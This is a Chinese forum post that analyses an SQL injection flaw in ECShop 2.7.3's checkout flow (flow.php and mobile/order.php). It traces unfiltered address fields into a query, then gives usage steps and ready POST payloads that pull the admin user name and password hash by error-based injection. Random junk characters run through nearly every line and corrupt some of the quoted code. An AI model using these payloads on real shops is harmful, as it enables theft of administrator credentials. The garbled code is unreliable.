前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
. p$ e1 v! N3 S* E
( B @8 }6 U- ?9 J% }% ~9 P1 \ 漏洞关键文件:3 d; x, L2 P) L4 ~% W
2 }* ?3 Z& Z A: l- |( {* E* Z /includes/lib_order.php2 O6 ~( c1 M$ Q8 N/ o1 s8 |( ^1 l
4 e8 H4 \7 ~- g& s- T$ @0 c
关键函数:2 j4 c5 ^- L0 V: ?3 l, N' y$ O' N
. |" L* d+ ]8 y" j q# M% z
/ \: G% e, E6 C p& L. @" P- o! a. }6 S* P+ n5 @9 D! ?
01 function available_shipping_list($region_id_list)
( M( R& ]$ o% b: g/ C* x2 R: J# u! X$ o
02 { 8 m! [! |' K/ j0 r3 a5 r6 z0 y
3 r+ {" D) o" i" O1 a: H( L
03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . ( ~/ y, q& L6 h) Q
+ A& e& e8 t* V8 {% x
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
9 `+ P* ?/ g- c) |: p# b, e
" M$ a7 \6 w* E: g& f9 ^05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . @5 t% D, |9 E0 S
# K @; g$ a' b& L" U( T) T
06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
8 g+ m8 ~. f- B9 k* M* Y+ T
* \: s+ C& Z8 q' n: g4 ]2 e0 x07 $GLOBALS['ecs']->table('area_region') . ' AS r '.
' m; D( A; ?& z
2 E7 `2 h1 B5 S; ?) s% `08 'WHERE r.region_id ' . db_create_in($region_id_list) . % G% G- P) b; ?/ ^% Z' W
7 ~7 @2 R) M( e% Z0 v4 s; t09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; . l0 J/ ?: v, F. E) q6 z
! ?8 K6 f) }. h6 z9 [
10 0 j* T' a) _+ s. y6 Y8 f
( C b2 @( a% L& o8 x1 h
11 return $GLOBALS['db']->getAll($sql);
( f, P3 M5 m+ G$ Q( ~# N2 C
0 r& n2 f* `$ U12 }
5 P! p3 L8 w& k4 A8 |& V
* q' T, F- w5 _& B; o5 w显然对传入的参数没有任何过滤就带入了查询语句。
" p8 _- D* K F3 n7 m% S) H$ O
# ~) D9 T, G& y! M下面我们追踪这个函数在flow.php中:
6 ]. T" c( G9 |' V 第531行:
2 d! x8 }4 K, i% ~! W( }7 z, s1 @ t# c2 l/ g4 z' [- B K
1 $shipping_list = available_shipping_list($region);
: C, q S2 U0 Q' f% G' k
3 j# \ B l% ^8 u* x& L
+ s) X0 q$ K8 y) i' G* N0 y5 K4 `% R- s, [, u; n% H& k$ u7 C$ I2 p- G
, J _ I V. q, N7 o' p3 U+ e2 d! w1 s, m7 L" [
再对传入变量进行追踪:9 o, G7 d" m- f0 T3 L1 U3 g# U$ @9 C
$ g5 Z6 z' }5 y8 r
第530行:
) {) v1 R e/ C$ ~) ? o/ e t' b5 I" t8 l0 ?! h7 s+ Y+ f
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); & T# k( F+ X' I% b, }& F
+ p @: b' ^! ?
: _$ G6 [! t' m: k: U+ c$ S q7 ~: B
8 N- [7 h. S7 D% L! }0 V: E& V; X* u: e/ T9 Q* _& M
第473行:
, |; v/ T" q$ [
8 k7 d1 P0 w. D T" ~. s* i3 e/ `; }1 $consignee = get_consignee($_SESSION['user_id']); ) n& H: ]9 y' a& D
6 L, |) _& F- b( E. q) n6 r) ]
到了一个关键函数:
# R5 X& q5 g1 x, i- o3 R/ l* T4 r" r% W% h- a8 M
/includes/lib_order.php
; A a+ z r( T8 k$ U! o
" x/ l S" p3 P9 @& C3 }! W. B: ?# M * W0 b* r4 N3 J+ I5 ?; k5 f
: p: Q: Y/ B1 _
$ i; l( z8 |7 O+ ]2 P# Y2 y
8 M" Y a2 b" t01 function get_consignee($user_id)
& ?5 s# x0 Y: H; u0 i' Y/ _1 p3 z3 h% d8 L3 A
02 {
5 o j7 @4 o: q# P% \+ b
/ \ _# b @& Q$ r7 K03 if (isset($_SESSION['flow_consignee'])) 5 W( i' ]$ g& [, [" K' `
- G+ p# K: ^- S& D& b: i04 { 5 m5 Q7 D% O1 S5 w: ^/ R7 Q
6 ]. z. R2 P& d$ I. t
05 /* 如果存在session,则直接返回session中的收货人信息 */ & ?4 T4 o$ @8 X" p) w+ m
$ H/ b$ O) o: T9 q* a8 N/ y; p06
. R, }' r* }/ Q* |3 K7 ?
; _9 d0 ~2 g/ F( ^1 v07 return $_SESSION['flow_consignee']; % D5 Q7 V! _$ }' q8 S
& |/ I/ D, c" y8 }2 O
08 } ) D1 @/ H' d* G. _; ?8 n$ Q
. H6 b* z4 m# V- ] w" X3 u09 else - e; E8 c2 z, q# H
- K0 c9 o, W- b, G% I
10 {
4 ?) D$ s. Z9 F2 d2 ^( I
; L. G. t, o7 t# `6 q; p7 R5 \! H: w11 /* 如果不存在,则取得用户的默认收货人信息 */ # Q; A" U" S( f5 Z1 p
& d) H% B, o% x, W. s) n+ W
12 $arr = array(); 2 f. D/ N4 X7 n! M/ D
% \0 B7 U Y9 N- s7 c9 X
13 ) s0 R7 I$ b/ S a7 [
* y" h1 w5 @& L2 N8 T |/ S' H
14 if ($user_id > 0)
% Y1 Z/ Y3 w9 v9 K1 k0 i' x0 Z5 Q w9 c5 x6 d3 ^
15 {
. _- j2 \( H+ i$ u
8 Q% P! [, M6 l16 /* 取默认地址 */
3 F. b$ U1 W) x5 z& _
( E/ D& z! i4 ]5 @" P( g& f17 $sql = "SELECT ua.*".
V5 e" ^4 ^& u& W: J
, E+ }) O) l1 o3 O! J4 l18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. $ A- q) i2 x7 T! n8 A* I% A8 g7 o
# G+ l# S2 V( r" v& @* i8 y2 y
19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; & o ?& \# T7 d% {. p( h- s- K
7 }+ I* S2 X- v
20 * }# a0 l% r5 X; s5 a' a1 f
& Q1 m p; A$ S2 G( w/ u5 p21 $arr = $GLOBALS['db']->getRow($sql);
; b$ s& k) B0 b# ~; H8 C# u7 Z1 G% S# X N
22 } 1 M2 n7 D. R e; J! {
/ D' h9 v* r. ?# H% E
23
# a+ A8 F) \8 M2 g) T* ~( J7 L( A& S3 s% r0 e- D9 v
24 return $arr;
2 P6 l* T0 E0 W& t! }9 L
: S, b& @; z9 h& W2 O25 } $ j2 q; a; t. @* b+ @3 F
3 y/ ?$ o# Y q0 L: I26 }
: s }! D6 u3 z' f# N; q1 Z
$ N; {& o6 M0 n显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?: M0 K% k+ f0 n4 o5 i
: H+ V8 c0 H: s: a7 H4 P4 @- l% k
+ k% z2 ?' x& g7 ?+ R' k B
1 R7 n% Z$ Z, O( A. E4 }7 |关键点:
+ r7 i2 h5 q9 B0 n/ i0 A- M3 U6 h$ B; u2 [
第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
% b) m) f0 z) v+ s6 t* c. K
' H, [2 A% F+ q8 L! m1 f3 D这里对传入参数反转义存入$_SESSION中。
9 D% k* S% V5 \- `% b& \! k; W! S4 U l0 W" I
" H' {# A5 V4 C0 V6 e
. w6 V E4 g9 m2 ]& ]% g/ o" n* q然后看下:
8 C {) u* I2 s! m
% M, X! f3 L g& o% K+ |' a . k! z9 T" F( Z
9 Q- }# l/ O5 }- l. t6 R
4 ^- L3 U* ?# {! E ^* V
; y# F( F0 w' A3 |8 \3 U01 $consignee = array( 1 D) r) [3 s* Z; R4 W9 F9 P5 a) o) v
6 T; k6 F0 B/ y' s9 D
02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']),
) m, }: ~' `( i: ]* X& W7 D3 S6 ]0 e" n' k
03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']), ( `( h9 w/ m# U
1 i4 P5 C! s7 B7 w6 {; e( }1 ?04 'country' => empty($_POST['country']) ? '' _POST['country'], 0 N B; Q- k. f
$ l7 N- S% s0 [ Z5 q: U
05 'province' => empty($_POST['province']) ? '' _POST['province'], ' k7 d6 m3 P. e. N0 G
* H; z2 O# ?( f+ |, f! h
06 'city' => empty($_POST['city']) ? '' _POST['city'], 9 W3 o' x% B. [* ~7 q1 g9 m: T% i
. i: n) U+ Y( }
07 'district' => empty($_POST['district']) ? '' _POST['district'],
# l, x% ?( m$ m! {$ ]# ]$ c6 d
$ D) E: ]9 q c5 d4 ^5 L08 'email' => empty($_POST['email']) ? '' _POST['email'],
# C" \9 r$ d0 M
- P- N0 h- k! ]; C& Q6 a) L09 'address' => empty($_POST['address']) ? '' _POST['address'],
Q9 c3 H. U- v' ]% W; z& x: _. [$ U5 A, }4 m0 v
10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])),
7 s% Q8 L6 Q& Q4 E( m* j7 ?( E3 ~/ d" P
2 z: i, e+ S! v! B11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])), # A* w$ \0 k+ ? y7 K+ F# U
6 E6 K |' R# Z, A12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])), " G5 } R2 ~6 F* O
$ z8 Z8 b) Z: n/ }1 X7 T13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
, q3 }0 q- K2 I2 C! B
; P; W& S0 r J5 F5 [8 o14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'], * {. t6 w7 {) a1 r1 b2 U: c
4 {; }) f+ f7 q) N15 );
1 U. s. h( {& [3 Q1 W* F8 l3 m& ]$ [7 ~( M' L9 l4 T% I
好了注入就这样出现了。
) |& l5 z( S$ a/ S6 f: N1 M, W# {! b# H3 c t
==================
$ e: ~1 w1 a0 d
* s1 x P( B. F! C9 S s注入测试:
- I4 W0 i1 K# M. i3 j
" ], I, i9 `* J9 f, M+ ]( B2 L环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)4 g/ W0 D. J0 p4 K& z d/ g
/ q: U2 f. C" E$ u7 p. k! f测试程序:ECShop_V2.7.3_UTF8_release1106
4 ^2 Y! [) J) y5 O. [9 p- ], @2 {3 n: l& R
5 Z7 @+ H3 W5 \! P5 q
4 ^! H6 M ?9 z" j1.首先需要点击一个商品加入购物车: }" A; n3 y& k4 e& u6 Y6 U1 @) |
. U) s% r' `3 A! C4 G& `5 w0 |
2.注册一个会员帐号
' Y) Z# S3 b' j5 p! w
# l: a: f( F$ |$ v: G& c0 h3.post提交数据
+ B0 V- R( U- f9 p$ ~) x% q( l6 X2 a1 @* {5 I' _3 |
7 q- P% g3 h- k
' q) r- }1 W3 x8 k5 o3 a u n1 http://127.0.0.1/ecshop/flow.php 5 n% Q1 n1 ^# s. D3 K f4 M
! b8 I0 {9 ~* ?2
* }" P% \4 q! {: J3 N2 `# U
) E2 ~2 ^0 r5 X: Q) h% ~' J3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
# o* v% k$ |; i) f3 V6 Z3 B举一反三,我们根据这个漏洞我们可以继续深入挖掘:; K9 _" N9 ]% p; n& \
4 o7 C, l; f4 Y! S' q, b% [4 x
我们搜寻关键函数function available_shipping_list()- G- Q% c' ^# h4 P1 N$ |
; m1 n1 L' m$ F8 S5 r( v在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同) _ h$ q* g5 }/ b0 x. O+ R
: F) v4 {" O$ r I X+ L! A5 P* X利用exp:1 u: b1 M3 h" Q+ V7 H
$ m2 G% @! |! b1 P, y% u1.点击一个商品,点击购买商标 f. n7 |0 l- x( M2 u; G& O
& L5 @5 |+ k& B( g p1 H& S/ n; ^- N2.登录会员帐号9 O* T" F; U! h e
5 d! v$ b* s4 C' G, Q3 S* S# V# e3.post提交:
0 a5 z) U( p" O0 c0 W2 f6 y1 @" O/ {6 e7 ]
http://127.0.0.1/ecshop/mobile/order.php) a5 m, m- P3 v6 }) Y4 S0 i
! B: V9 ^; p' g+ Y5 |3 N7 {* b
% z: }8 p! y8 `& n4 o) K# S* f
# \: E* Y& L+ N( n, c/ Fcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
& q/ J! y0 Z2 H4 h5 K$ _# ]4 A2 a$ ^5 h' z3 ~! B7 B9 Y
|